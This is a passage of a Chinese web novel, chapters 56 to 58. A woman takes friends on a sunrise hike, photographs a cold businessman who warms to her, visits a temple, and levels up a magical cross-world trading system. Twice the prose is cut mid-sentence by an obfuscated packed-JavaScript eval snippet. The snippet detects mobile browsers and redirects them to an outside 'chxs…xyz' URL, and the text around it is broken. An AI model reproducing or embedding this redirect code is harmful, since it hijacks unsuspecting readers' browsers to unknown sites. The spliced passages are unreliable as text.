一边闲聊一边漫步在栈道上，半小时路程很快过去，走到观景房平台时，视角极佳的位置已经挤满了人。 看着眼前吵闹景象，黎行墨的心死了，挫败叹气。 萧妧妧提醒他们去栈道上占位置，随后拉云昭昭去洗手间。 “可是……妧妧姐，我现在还不想上厕所。” 萧妧妧笑着说：“谁让你上厕所了，我是拉你过来化妆。” 她指了指洗手间外围的洗手台，有镜子的地方大多挤满了人，大家拿着粉扑毫不留情的在脸上啪啪啪。 云昭昭揉搓衣角，“我、我不太会化……” 萧妧妧放下背包，拎出化妆包掂了掂，“怕什么，我会啊。” 她来回张望一会，眼疾手快抢到一个空出来的位置，冲着人群中傻愣愣的云昭昭招手。 “来都来了，总要拍照的，拍照不化妆怎么行？” 萧妧妧快速撸了一个淡妆，抹上口红算是应付过去了，云昭昭难得出来玩，当然要给她一点仪式感。 这是她第一次化妆，还是在人这么多的地方，云昭昭别扭极了。 小心翼翼左右观察一圈，前后左右的人不是忙着假睫毛就是忙着补粉底，并没有人关注她们，云昭昭心里安定不少。 “她们补妆也是为了拍照？” 萧妧妧按着她的脑袋转过来，提醒她别乱动，拿起粉扑开始忙活。 “对啊，旅游嘛，一辈子说不定只能来一次，当然要漂漂亮亮的留下照片。” 云昭昭听到有几个小姐姐甚至带了衣服进隔间换，眼珠子斜过去瞄一眼，就看到她们穿着小裙子小吊带，露出白皙的肩膀和大长腿，打扮的光鲜亮丽。 “她们可真厉害。” 云昭昭不安地整理衣服，望向她们时，眼底闪过胆怯和羡慕。 萧妧妧笑着夸她：“昭昭也很漂亮啊，衣服是今年流行的紧身T，特别适合你，衬得你胸大腰细，牛仔裤虽然不是流行款，但能把你的腰臀比完美显现出来。 你不知道吧，刚才路上听到好几个小姐姐夸你身材好，要不是我们人多，肯定找你要链接的。” 同样的夸奖，差不多的意思，黎行墨嘴里说出来总是不正经，妧妧姐说得却能让她心里高兴。 云昭昭不自觉放松身体，红着脸说：“真的吗？我现在这样拍照能好看吗？” 萧妧妧眉头一挑，语气骄傲：“我的拍照技术你也敢怀疑？放心吧你，保证迷得他们走不动路。” 谁们，不言而喻，云昭昭又闹了个大红脸，一阵猛咳。 “你看是不是不一样了？今天只来得及化简单的，以后有机会给你整全套。” 萧妧妧打量片刻，满意点头，让开身，留出空间方便她照镜子。 云昭昭回过神，一抬眸，目光微顿。 两只手来回倒腾，几只笔换来换去，十几分钟，镜子里看习惯的一张脸竟然变得大不一样。 56. 第 56 章 “妧妧姐，你好厉害啊！” 云昭昭没想过自己能变成另一幅样子，想摸一摸脸又怕弄花了妆容，只好捧着小镜子来回照，眼里全是欢喜。 “那是，我可是差点改行去当剧组化妆师呢。” 萧妧妧给自己补了妆，丸子头绑紧，扒拉两下胎毛刘海，急急忙忙回观景台。 找到另外三人汇合时，远处天边冒出一丝微光，天上星光渐渐黯淡，而山脚下，城市夜景美不胜收。 从600米的山上望下去，鳞次栉比的摩天大厦亮起各色灯光，蜿蜒马路犹如流光飞散在城市中，将南市的繁华勾勒得淋漓尽致。 “南市夜景不算出名，但仔细一看，其实挺漂亮的。” 萧妧妧惊艳了一瞬，找角度咔咔拍，等她察觉身边气氛有些微妙时，下意识扭头看向身侧，瞬间了然。 她捣了捣云昭昭的胳膊，“我说什么来着，眼睛都直了。” 打从云昭昭出现那一刻，季随和黎行墨的目光没从她身上挪开过，云昭昭捕捉到他们炙热的凝视，害羞地垂下脑袋。 这会又被萧妧妧打趣，云昭昭脸红得不像话，无措地举着手机，心不在焉地胡乱按了几下，估计自己拍了什么都不知道。 萧妧妧没兴趣当电灯泡，大跨步往平台侧面的栈道上挪，环顾周围寻找相对冷清的打卡点时，不经意间对上到黎行聿望过来的视线。 黎行聿似乎在走神，目光直直投来，直到双方视线相触，他迟缓地收敛思绪。 萧妧妧正愁找不到人搭把手，看到黎行聿，眼睛一亮，抱着试一试的心态走近。 “黎先生，可以帮个忙吗？” 黎行聿意外的爽快，也不问帮什么忙，点头答应。 萧妧妧一喜，递去手机，“黎先生帮我拍几张全身照吧。” 黎行聿迟疑了一会，接下手机。 萧妧妧左右挑剔片刻，很快注意到林子边草甸上的巨石，巨石后是繁华夜景，一定很出片。 “黎先生，去那里拍吧，人少。” 萧妧妧趁着那里没人，飞快跑去抢占地盘。 等她跑到大石头附近，发现根本不用抢，因为没人注意到这里，再看两边树影幢幢，映着繁华城市的霓虹灯格外好看，萧妧妧更满意了，大迈步站在石头上，指着前面约两米的距离。 “黎先生，你快来，就站在那里帮我拍几张。” 指挥黎行聿移动的同时，萧妧妧调整姿势。 茂密草甸沾满露水，受到惊扰的虫子扑棱棱飞走，黎行聿皱眉凝着草甸，瞥见萧妧妧兴冲冲的凹造型，深吐息，迈步走向指定地点。 “现在这个角度，我是站着合适还是坐下来合适？” 没能亲眼看到镜头里的画面，成片效果全凭萧妧妧想象，为了尽快出片，只能询问黎行聿的意见。 黎行聿很努力的分辨了一会，答：“都可以。” 萧妧妧啊了一声，挠挠头，没什么自信地选择侧身坐下，曲起一只腿，上半身后仰，眼睛望天。 “这样呢？”她问。 黎行聿：“可以。” 既然他说可以，萧妧妧暂且放下心，思索换什么造型可以拍出自己想要的氛围神图。 一连拍了七八分钟，天边光亮越发刺眼，萧妧妧终于决定放弃，换下一个打卡点。 然而，等她起身侧过脸，看到站得笔直的黎行聿，以及与他面部齐平的手机，萧妧妧眼前一黑。 完了，这死亡角度，潘金莲都能拍成武大郎，白瞎她扭了半天。 萧妧妧不死心，小心翼翼问：“方便我看两眼吗？” 黎行聿走上前，递来手机，他的表情轻松自然，在萧妧妧看来好像挺有信心的。 萧妧妧想，或许他有自己独特的拍照技术吧。 抱着忐忑的心情打开相册，萧妧妧就知道自己放心得太早。 “是不是拍得不太好？” 黎行聿凝着她的脸，将她细微表情全部纳入眼底，看她从面带礼貌微笑到笑容消失。 “……挺好的，谢谢黎先生，我自己拍就好。” 一边说挺好的，一边全选删除，绝不让黑照污染相册。 黎行聿听出她的言不由衷，删照片的速度明晃晃昭示她的嫌弃，不禁握拳掩唇，轻轻咳了两声缓解尴尬。 来都来了，妆也补了，萧妧妧打定主意要拍出满意照片。 她艰难地调整手机，一遍遍确定角度和构图，黎行聿没忍住，走上前打断了她。 “再试一次吧，你告诉我该怎么配合。” 闻言，萧妧妧反而迟疑了，她怕教急眼了发脾气。 黎行聿像是看出她的纠结，径自抽走手机，后退到原来位置。 “试试吧，天快亮了。” 黎行聿一说肯定句，身上那股说一不二、不容置疑的，属于上位者的威严感油然而生，萧妧妧生不出拒绝的胆气。 “谢谢黎先生。” 她抬眼看了看微亮的天，小声道谢后，教他怎么调整镜头。 黎行聿听她指示，退到坡上，调整角度，屈膝半蹲。 这回他有经验了，拍完一张先送去给萧妧妧审核，如果满意再继续下去。 萧妧妧没抱希望，结果看见照片反倒有点小惊喜。 “哇！黎先生你很有天分嘛，帮我多拍几张，一定要带上后面的夜景。” 萧妧妧又教他换了两个角度，每一次都有满意照片诞生，拍照兴致越发高昂。 “萧小姐为什么不愿意露脸拍照？” 看她坐在石头上，快乐地晃荡着双腿，手指在屏幕上快速滑动，挑选着照片，黎行聿问出疑惑。 萧妧妧挑出一张看不见脸的背影图，和一张能看清脸的正面图怼到他面前。 “喏，是不是背影照更有氛围感？” 黎行聿不懂她需要的氛围感是什么，只是目光停留在正脸照的时间明显更长些。 他说：“我更欣赏右边的照片。” 萧妧妧拧眉，收回手机仔细对比一番：“果然，不同的性别连审美也不一样。” 感叹一句，萧妧妧喜滋滋收起手机，迟钝发觉天色已经大亮。 天边滚滚白云，云层里时不时有金光闪耀，深色夜空不知不觉转变成雾蒙蒙的蓝色，绚丽霓虹灯失了光彩。 “差一点错过，我们去观景台看日出吧？” 眼看着太阳要钻出厚厚云层，萧妧妧一着急，直接蹦下石头。 黎行聿伸出的手落了空，若无其事的收回，跟在她后面往观景台走。 萧妧妧选的打卡点比较冷门，要穿过林子，两人一前一后走进去，她倏地听到窸窸窣窣的动静。 可能是野猪，也可能是猴子，偏偏她听到了说话声，还是她熟悉的声音。 萧妧妧不自觉停下脚步，果然，说话声又传了过来，听起来就在周边。 “昭昭？” 她向前走了几步，试探着喊出声，然而林子里已经听不到什么动静，正当她怀疑自己听错，转身要离开时，余光猛然瞥见绿荫中两个重叠的身影。 果然，他们根本不是想来爬山！ 萧妧妧反应过来，懊恼地拍了拍脑门。 “萧小姐，观景台在下面。” 她大迈步准备离开，好巧不巧黎行聿追了上来，提醒她走错路。 萧妧妧一惊，飞速转身冲着他“嘘”了一声。 “怎么了？”黎行聿低声问。 萧妧妧不能解释，连忙摇头：“没什么，我们赶紧下去。” 她稍显着急地推黎行聿离开，动作鬼祟，黎行聿不由自主地回身，往林子深处望去， 萧妧妧担心他看到什么，顾不上失礼的问题，拽着他胳膊往前拖。 黎行聿：“那里有什么东西？” 萧妧妧脱口而出：“什么都没有！” 见她遮遮掩掩的举动，黎行聿猜到她在隐瞒什么，体贴的不再追问。 两人回到景观台，时间刚刚好，或绯红或橙黄的云朵倏然向两边分开，隐约的红光托起旭日。 霎那间，黎明前的昏暗彻底消逝，明晰光束刺透云层，光辉平铺大地，到处灿烂着金光，四周传来游客们此起彼伏的哇声。 “真好看，我还是第一次在南奇山看日出。”萧妧妧赞叹一会，抱着手机疯狂拍照。 黎行聿望着金光下的城市轮廓，嗯了一声附和。 观景台围满了人，或是拍景或是拍人，不时能听到有女声抱怨男朋友太笨教不会，转而寻求路人帮助。 黎行聿收回目光，转头问她：“要拍照吗？” 萧妧妧搓了搓手，有些受宠若惊：“可以吗？” 她当然是想拍的，可使唤人家大半天，她哪好意思提，幸好黎行聿主动开口。 见黎行聿点头，萧妧妧欢呼一声，噔噔蹬跑到自己早就选好的位置。 “这次是站着的全身照，机位要和我的腰齐平，对，内扣四十度，0.7倍，这样显得我腿长……” 黎行聿动作生疏地操作着软件，很快拍下七八张，像之前几次一样，拿回去等她确认。 “黎先生你进步真快，这张我喜欢，把我拍成一米八了！” 萧妧妧忙着挑选照片，忽而听到头顶传来一声轻笑。 夸两句就飘了？真不经夸…… 拍一次是拍，两次也是拍，萧妧妧见他挺好说话的，厚着脸皮提要求。 “黎先生可以站近点，这次是拍半身照。” 黎行聿应一声好，按照她的要求挪动，并调整手机。 一连换了四个位置，正面侧面俯拍仰拍，因为黎行聿太过配合，导致萧妧妧拍照上头，一时间没能刹住。 黎行墨气哼哼找来时，萧妧妧冷静下来，臊得脸通红。 “哥，妧妧姐，你们看到昭昭了吗？季随那个老小子不知道去哪了。” 观景台找了一圈又一圈，两人的人影一点没看见，黎行墨气得脸色发绿。 前脚说会帮忙打掩护，后脚机会主动找来，萧妧妧浑圆的脑袋拨浪鼓似地摇。 “没有没看到，昭昭应该是去洗手间了吧。” 萧妧妧眨巴着大眼睛，无比真诚地望着黎行墨，语速飞快的回应。 黎行墨拧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774500|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉，将信将疑的样子，但电话打不通，人找不到，泄气地蹲在一旁。 黎行聿若有所思，目光转向眼神飘忽的萧妧妧身上。 “对不起啊，我刚才太激动了，拍照是不是挺无聊的？”萧妧妧对上他的视线，窘迫地挠头。 黎行聿递回手机：“不会，很有意思。” 萧妧妧狐疑看他，仔细分辨一会，脸上找不到一点不耐烦的模样，长舒一口气。 “我帮你们拍照吧。” 麻烦黎行聿半天，萧妧妧心里过意不去，遂提出帮他们拍几张纪念一下。 黎行聿和黎行墨都愣了愣。 萧妧妧自信满满：“不需要你们凹造型，我来找角度。放心，你们长得好看，怎么拍都不会丑的。” 黎行墨看她一本正经的，纳闷了一会，躲到一边去。 “我不拍，我要去找昭昭。” 他作势要走，与萧妧妧擦身而过时提醒她，“你收敛点，我大哥生气的时候很凶的。” 萧妧妧不知道他为什么走过来说这么一句，瞄一眼黎行聿，不解反问：“他会打人？” 黎行墨用更小的声音和她嘀咕：“那倒是不会，你随便拍两张得了，惹毛了我也没好日子过。” 萧妧妧：…… 萧妧妧偏头，多看了黎行聿一眼，表情淡淡，性格也很冷淡，不过人还不错，出乎意料的好讲话。 黎行墨脚步匆匆地溜了，萧妧妧不以为然，举起手机开始自己的创作。 “对，现在的状态很好，脸再侧一点，哇，黎先生你好上镜啊。” “这个角度好，像混血男模。” “抬头，看太阳方向，对，非常好。” 难得遇到上镜的拍照搭子，萧妧妧拍摄欲望高涨，绕着黎行聿转着圈找角度，不管是什么死亡角度，在他身上都能拍出独特的感觉。 她又换了一个方向，一屁股坐在地上，几乎仰倒，身后是来往的游客。 “只是拍照片，没必要躺在地上。”黎行聿皱了皱眉，试图过去将她拽起。 萧妧妧对他的制止充耳不闻，并打断他：“别动别说话！就是这个表情，皱着眉头特别帅，保持住。” 看出她的坚持，黎行聿默了默，顺从地倚回栏杆。 等萧妧妧结束了，她满不在乎的说：“女子本弱，拍照则刚。” 她一骨碌爬起，跑到黎行聿身侧，献宝似的打开相册。 “看，我技术不错吧，黎先生这张照片像演电影一样，五官深邃，轮廓清晰，光影打下来很有故事感。” “这张也好，别看虚焦了，其实朦胧感更有氛围。” “能看出来黎先生不常拍照，动作僵硬，但是问题不大，你看，没有一张废片~” 萧妧妧自得的展示成果，嘴里好话不停，偏偏她说得坦率真诚，听不出半点客套虚伪。 不带目的性的夸赞令他感到新鲜新奇，心脏像绷紧的弓弦，随她的话音颤个不停。 黎行聿回望她亮晶晶的双眸，缓缓开口：“嗯，萧小姐很厉害。” “嘿嘿，过奖过奖，主要是黎先生你配合得好。” 拍照技术得到认可，萧妧妧获取了极大的喜悦，嘴里谦虚得不行，脸上笑嘻嘻看不出一点谦虚样。 她现在可以确定，绝对是黎行墨自己不着调，惹来黎行聿的训斥。 再看黎行聿的冷脸，社会精英自带的锋锐与侵略感不曾减弱，但萧妧妧不再觉得他难以接触。 “叫我名字吧，我觉得我的名字挺顺口的。” 一直叫她萧小姐，萧妧妧下意识带出社交状态，表演成熟大人的形象，夜爬过后有种团建破冰的感觉，她不免随意了许多。 黎行聿从善如流：“好，你直接喊我名字就行，不用黎先生黎先生的叫，毕竟有两个黎先生。” 萧妧妧深表认同，和兄弟俩说话要看着他们，否则真不好称呼。 两人有一搭没一搭的说着，云昭昭这时突然跑来，抱着萧妧妧胳膊不撒手。 再一看，身后她还跟着季随和黎行墨，两人脸色一个赛一个差劲，但黎行墨看起来更生气一点。 萧妧妧怀疑自己闻到了硝烟味。 她偷偷打量云昭昭，唇上口红几乎蹭没了，嘴唇红肿，什么情况不言而喻。 “那什么……要不要给你们拍照片？黎行聿可以作证，我技术超好。”萧妧妧若无其事岔开话题。 “不拍。”*2 黎行墨季随异口同声的拒绝，互相瞪了一眼，扭过头翻了个白眼。 云昭昭更不用说了，现在的模样根本不适合拍照，估计也没心情拍。 萧妧妧想了想剩下的行程，改口道：“那我们下山吧，现在人不多，早点去南奇寺拜一拜。” 黎行墨一脸嫌弃地嘟囔：“寺庙有什么好拜的。” 萧妧妧哼哼笑，眼底狡黠一闪而过，语气意味深长：“南奇寺扶正缘，斩烂桃花。” “拜！现在就去。” 她话没落音，黎行墨急切接话。 萧妧妧饶有兴致的在他们身上来回打量，越看越觉得有意思。 57. 第 57 章 “妧妧姐，南奇寺真有那么灵？” 云昭昭见她说得信誓旦旦，下山路上，快走两步追到萧妧妧身边问询。 萧妧妧思索一会，“斩烂桃花是灵的，求姻缘我不确定。” 云昭昭好奇不已，追问：“怎么说？妧妧姐你试过？” 话落，不远不近的三人不约而同地转过头来，目光齐刷刷地落在她们两人身上。 萧妧妧一想没什么不能说的，轻笑一声说：“是上学的时候，我妈担心我早恋，带我来南奇寺斩桃花来着……确实很灵，回去后一直寡到今天。” 说好扶正缘，正缘在哪没看见，反正斩烂桃花是肯定的，萧妧妧可以打包票。 黎行墨打了鸡血一样兴奋，语气昂扬的大声说：“那我们去拜斩烂桃花的。” 说到烂桃花，他挑衅地睨一眼季随，就差点名道姓了。 季随不甘示弱，冷笑一声：“好啊，我也想知道谁是烂桃花。” 两人又掐上了，气氛瞬间变得紧张起来，一股谁退缩谁是孽缘活该被斩的架势，云昭昭在一旁大气不敢喘。 萧妧妧冲云昭昭挤挤眼睛安抚她，镇定地翻开攻略。 “哦，那我们不太顺路，我和昭昭要去财神殿，我们要在财神殿前长跪不起！” 黎行墨：？ “亲身测试，南奇寺求财比求姻缘更灵。” 为了开小卖部，萧妧妧欠下巨债，慌得要死，开业前一天特意去南奇寺的财神殿跪了几分钟。 然后她发财了，日进斗金。 怎么不算灵？ 云昭昭像鼓起勇气的鹌鹑，扑棱着翅膀冲他们说：“对！我要去求财。” 下山的路上，到处挤满了人，有一大早爬山晨练的，有看完日出直奔南奇寺的，本该幽静的林间栈道吵吵闹闹。 五人排成竖排缓慢通行，走了将近三百多个阶梯，萧妧妧开始腿软的时候，他们终于看到了南奇寺的牌坊。 古朴牌坊与后面的寺庙正门是热门打卡点，游客排队领香，上平台拍照。 萧妧妧张望一圈，先为他们求姻缘的指出方向，不给他们阻拦机会，拉着云昭昭直奔财神殿。 上回来时负债累累，兜比脸干净，所以捐了十块钱的香油钱意思意思，这回还愿，萧妧妧可大方了，转账一千元。 寺庙的收款账户有提示音，连了蓝牙音箱播放的那种，金额播报出来时，财神殿前排队的游客无不侧目。 守着登记簿的大婶扬起笑容问：“是来还愿的吧？” 萧妧妧没多说，只微笑点头嗯了一声。 大婶笑得更开心了，说：“今天已经有好几个来还愿的了，我们南奇寺很灵的。” 她这么一说，散在周围观望的游客利落转身，加入排队。 萧妧妧略等了等，云昭昭随后从大殿出来。 两人挽着手回到正大门位置集合，还没走上平台，萧妧妧瞬间在眼前的人山人海里捕捉到黎行聿的身影。 他懒散地斜倚着栏杆，一只胳膊随意地撑在身后，微微侧着头，任由阳光洒在他脸上勾出流畅轮廓，深邃眼眸似乎有金光在涌动。 普普通通的动作，就那么静静地站着，但因他挺拔的身姿和颀长的身材，便格外显眼了些，尤其他长得足够英俊，更衬得周围人黯然失色，已经有不少路过的游客注意到他，纷纷投来注目。 萧妧妧确定他的位置，拉着云昭昭往黎行聿身边靠拢，走出去两步，观景台一侧传来动感音乐。 云昭昭不自觉被吸引了注意力，踮起脚东张西望。 “有一群人在跳舞。”她说。 两人在人群里挤来挤去，走近一些才惊讶发现，不只是跳舞，也是拍视频，一共五人，个个是青春男大，他们脱去了上衣跟着音乐扭啊扭，任由过往的游客欣赏拍照。 这么大方，谁能忍住不看啊？ “妧妧姐，这里人太多了，我们走吧。” 云昭昭脸皮薄，面对这样的风景不敢盯着看，催促她快点离开。 萧妧妧就敢，不仅敢看，甚至厚脸皮地驻足欣赏，云昭昭根本拽不动。 “哇……好奶的大子，好白的沟。”她吞了吞口水，毫不吝啬自己的赞美之词。 人声鼎沸，云昭昭没听清她说什么，只担心黎行聿等得着急，哪知道她下意识往那边瞄了一眼，黎行聿逆着人流迈步走来。 “妧妧姐，我看到黎先生了，我们快过去吧。” 萧妧妧根本没听她说了什么，嘴里敷衍应和着“马上马上”，实际双脚像钉在了原地，云昭昭又催促两遍，她才恋恋不舍的向前挪动。 步子是迈开了，但眼珠子没能转回来，牢牢黏在大方的男孩子们身上，这不，不看路的后果下一秒显现。 “咚”的一下，萧妧妧一脑门撞进别人怀里。 她捂着脑门哎呦一声，踉跄间后退两步，恰好听到云昭昭在替她道歉。 “对不起黎先生，妧妧姐不是故意的。” 萧妧妧一抬头，发现是黎行聿，再环顾周围，纳闷他怎么找过来了，慌慌张张向他道歉。 黎行聿没说什么，顺着她们的视线，目光定在那群青春男大身上。 萧妧妧老脸一红，有种XP暴露的羞耻感。 她挺直脊背，义正言辞的辩解：“世风日下！大庭广众之下搞擦边，我在狠狠地谴责他们。” 为了妧妧姐的面子，云昭昭用发誓似的语气紧跟着说：“对，我们是在谴责他们。” “这里人多，危险。” 黎行聿垂下眼眸，视线扫过萧妧妧写满心虚的脸，没戳穿她，转身领着两人往观景台相对冷清的地方走。 萧妧妧偷瞄他两眼，没看出什么特别表情，若无其事的跟上。 云昭昭没想到这里南奇寺的观景台也很有看头，扑在栏杆上眺望山下。 “好漂亮的地方……妧妧姐，那是什么湖？好大一片啊。” 萧妧妧介绍道：“是南湖，南市第二大湖，你看到的地方是南湖公园，不需要门票的。” 云昭昭哇了一声，掏出手机拍照。 “可惜了，山下那片地光秃秃的。” 萧妧妧瞄两眼，山脚下直到南湖公园有相当大面积的土地被圈了起来，光秃秃土地上数不清暴雨留下的大水坑，有南湖公园的景色衬托，显得很磕碜。 她说：“那里啊，原来是棚户区，拆了好几年，施工墙围了好久，不知道是要做什么。” “可能是商场，可能是主题乐园，还没想好。” 谁啊，这么大口气。 云昭昭和萧妧妧齐齐转过身，就看到黎行墨双手插兜走来，像视察一般望着山下。 “你怎么知道？”云昭昭反问。 萧妧妧一顿，想起了黎行墨富二代的人设。 果然，下一秒，黎行墨淡然开口：“我哥刚拍下它。” 一副“我买了个冰棍”的语气说出这种话，萧妧妧连羡慕的情绪都生不出。 云昭昭瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794927|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大眼睛，不可置信的表情惊呼出声：“买下！它？” 黎行墨点头，无辜地望着云昭昭：“对啊，你这么惊讶做什么？” 云昭昭闭紧半张着的嘴巴，不太想说话，萧妧妧单手抱胸，另一手撑着下巴苦苦思索。 黎行墨是在哪里求婚的来着？ 主题乐园还是什么水上乐园？ 她记得，黎行墨为了求婚包下整个场所，女主心疼钱的时候，黎行墨淡淡的来一句是自家生意，怕节俭的女主有心理负担，黎行墨如实告知，这是他个人入股投资的产业之一，自家地盘，随便折腾，随后把他拥有的一半的股份当做生日惊喜送给女主。 女主收到如此豪奢的生日礼物手足无措，烛光晚餐时偷摸查了下资料，发现是“全国最吸金主题乐园”，差点晕倒。 地点对得上，时间点对得上，事件也对得上。 那座“全国最吸金乐园”，该不会就在眼前这片荒地上诞生吧？ “萧妧妧？” 思绪纷乱，萧妧妧看到面前有只手在挥，随后看到黎行聿望过来的目光。 萧妧妧猛地回过神来，直直指向山下光秃秃待建设的土地，“那里是要建主题乐园？” “或许吧，目前只是一个想法。” 黎行聿给了一个模棱两可的说法，他来到南市的任务之一就是定下方案，落实并开启项目。 萧妧妧咽了口唾沫，鼓起勇气继续追问：“冒昧请教一下，如果建乐园，这么大的面积，总投资大概是多少？” 黎行墨大大咧咧的说：“20多亿吧，我记得方案书上写的是这么多。” 他满不在乎地耸了耸肩，似乎二十多亿对他来说，如同两毛钱般微不足道。 萧妧妧“吧唧”一下，心碎了，二十多亿，真是斥巨资啊。 黎行聿嗯了一声，肯定了黎行墨的说法。 赚钱机会摆在眼前，偏偏她没资格参与，先不说乐园接不接受外人投资入股，光是那动辄以亿元计的庞大投资额，对于她而言也是一个遥不可及的天文数字，她想凑也凑不出来。 她存的那点金子算什么啊，放在二十亿面前，渺小到可以忽略不计。 萧妧妧心痛啊，充满了失落和沮丧。 “你怎么了？” 聊得好好的，突然见她捂住心口，五官皱成一团，黎行墨不明所以。 萧妧妧摇摇头，虚弱微笑，自嘲道：“我和朋友聊天一般二十块二百块起步，最多两千块，一下子通货膨胀蹦出二十亿，接受不了。” 一边说着接受不了，一边摇头晃脑，夸张的表情俏皮又灵动，狐狸眼瞪得圆溜溜，像两粒完美切割的极品墨翠，阳光下流淌着水波般的光泽，镶嵌在眼眶中，为稍显娇艳的脸蛋增添一抹深邃与娇憨。 黎行聿失神片刻，哑然失笑，笑意从唇角一点点蔓延到眼底眉梢，整个人都变得温和而亲切。 无意间捕捉到大哥的反应，黎行墨忍不住愣神，狐疑目光落在他身上，试图捕捉什么，可瞧了一会，没能看出端倪，又悄悄地将目光投向萧妧妧。 他们一个称呼着“黎先生”，另一个则回应着“萧小姐”，生疏而礼貌，黎行墨晃晃脑袋，挪开视线。 叹一口气，萧妧妧收拾好心情，挥着胳膊，笑嘻嘻带他们参观下一个景点。 走出去没几步，手机叮铃铃响，看到活财神的备注，萧妧妧眼睛一亮。 抬手给大家指出游览方向，示意他们先走一步，她落在后面接通电话。 58. 第 58 章 “萧老板，我来拿货啦。” 打来电话的是申明月，第一次使用高科技产品，小姑娘像只快乐小鸟，激动的呲哇乱叫，过了好一会儿才从兴奋劲儿中回过神，说正事。 好在萧妧妧做事一向井井有条，出门前把东西准备好，整齐堆放在后门边上，贴了纸条以方便识别。 她一边操作系统打开限制，一边细细叮嘱道：“院子里有小推车，你自己搬回去就是。箭十万支，玻璃餐具150套，玻璃杯、灯罩、盘子、碗，不计颜色各100件，还有琉璃，共十七种样式，每种6个，再就是柜台上有两个木头盒子，里面是玉髓玛瑙，各300串，大盒子里全是手持镜，500把，你自己小心些啊。” 申明月立刻按照她所报出的清单，开始认真地核对起眼前堆积如山般的货箱。 她一五一十数一遍，清点出数量，半张着嘴哇了一声。 “这些竟然都是我的……萧老板，你准备得太齐全了！” 萧妧妧挤在人流中，慢悠悠爬石阶，过了好一会，电话那头传来申明月的欢呼。 萧妧妧笑盈盈说：“都是我精挑细选过的，质量上乘，样式新颖，绝对好卖。” 对于萧妧妧的话，申明月自然是深信不疑。 尽管母亲这两天一直闭门谢客待在家里，却仍然有许多夫人派遣下人前来预订货物，仅仅是收取的订金，就已经高达白银千两之多！ 上一批货全卖出去，还不知道能赚多少，要是等店铺开起来，她更不敢想利润高到什么程度。 只粗略估算了一下眼前货品的价值，申明月便激动的不能自已，正好店里没人，无需装模作样，她像小孩子似的欢呼着蹦跶几下。 等她冷静下来，申明月噔噔噔跑回家，抱来两个木匣子。 萧妧妧做生意爽快又大气，十几万的箭只收五十两金子，便宜好用不说，还为她解决了燃眉之急。 这一波进货，申明月感念萧妧妧的好，便不想占便宜。 盘算过账上余钱，再大致估算货物卖出去后的利润，她毫不犹豫把所有能动用的金子全搬了来。 即便如此，申明月仍觉得差不少，可手里现钱不多，萧妧妧又不爱收白银，想了想，写下一张欠条。 申明月吹干纸上墨迹，和两匣金锭一起摆在柜台下，告知萧妧妧一声后挂断电话，全神贯注地搬运货箱。 都是宝贝，摔了碰了损失可不小，由不得她不仔细。 萧妧妧看一眼黑掉的屏幕，品味出她话音里的郑重，好奇之下，远程操控系统，尝试收走东西一睹究竟。 眨眼功夫，操作面板上光斑一闪，系统提示空间储物格有新获得物品。 萧妧妧倏然瞪大眼睛，没想到还真成功了。 意外片刻，她感慨一会系统功能真好用，哪怕店里没人也不耽误做生意。 感慨的同时，萧妧妧点开刚到手的两个匣子并一张纸，点击图标，物品信息显现。 萧妧妧：“！！！” 要不是时机不对，她真要尖叫出声了。 嘴巴里喊着没钱花的申明月竟然如此大手笔，两匣子金锭共计2000两，也就是60000克！ 萧妧妧赶紧查了下今日金价，调出计算器按几下…… “嘶！” 将近4000万，完全够投资季随的新电影！ 萧妧妧没想到钱来得那么容易，恍惚了一会，戳开那张纸的物品信息。 【叮~恭喜萧妧妧女士在交易系统协助下，完成货品交易100000件，成功升至三级。您可解锁以下三级功能，是否立刻解锁？】 萧妧妧正眯着眼睛看欠条上写了什么，系统冷不丁播报机械音，吓得一个激灵。 回过神一看，她又升级了。 和一级二级简陋的播报不一样，三级的升级通知有满屏幕的烟花，不仅有烟花，甚至列出了三级能打开的所有功能以及功能介绍。 萧妧妧无话可说，这么看来，交易系统也挺势利眼的嘛。 再看一眼升级通知，和她猜得差不多，二升三需要十万件交易件数，四级应该是百万或者千万？ 百万千万实在太遥远了，萧妧妧赶紧打住发散的思绪，着重关注眼前的新功能。 【估价：为用户提供物品估价服务。注：开启前需设置主位面（不可更改），并前往系统后台打开隐私权限，允许扫描当前位面物价水平、货币体系、法律法规、社会文化】 【互通：客户列表3.0升级版，可通过点击客户列表，选中客户发出进店邀请，快来试试吧~】 【运输：选中货品与签收客户，货品将直达子位面，免去搬运烦扰~】 【坐标：本功能为运输辅助功能，开启后将在结界可视区域显示当前坐标。注：严禁向不明坐标运输任意物品】 【扩容：点击开启，有扩充系统仓库容量的作用哦~】 萧妧妧这回是真没克制住，嘴角疯狂上扬。 新功能来得太及时了，尤其是估价功能，深得她意，而除了估价的其他功能，也都是她用得上的刚需功能。 最近买的东西数量多又零碎，塞进系统仓库特别占格子，眼看着只剩下三十多格，迟早要塞爆，萧妧妧没来由生出紧迫感。 但是这玩意不是她紧迫了就能解决的，正琢磨着怎么能省着点用，这下倒好，升级顺带着扩容，99格扩大到199格，每格99件同类商品则变成了999件。 萧妧妧迫不及待勾选全部解锁，再顺着系统提示打开隐私权限，允许扫描，然后弹框出现了长长的进度条。 她尝试着操作，发现不影响其他功能使用，果断给申明月打电话。 申明月正忙着呢，来来回回跑了几趟只运走十几箱东西，只能加紧速度。 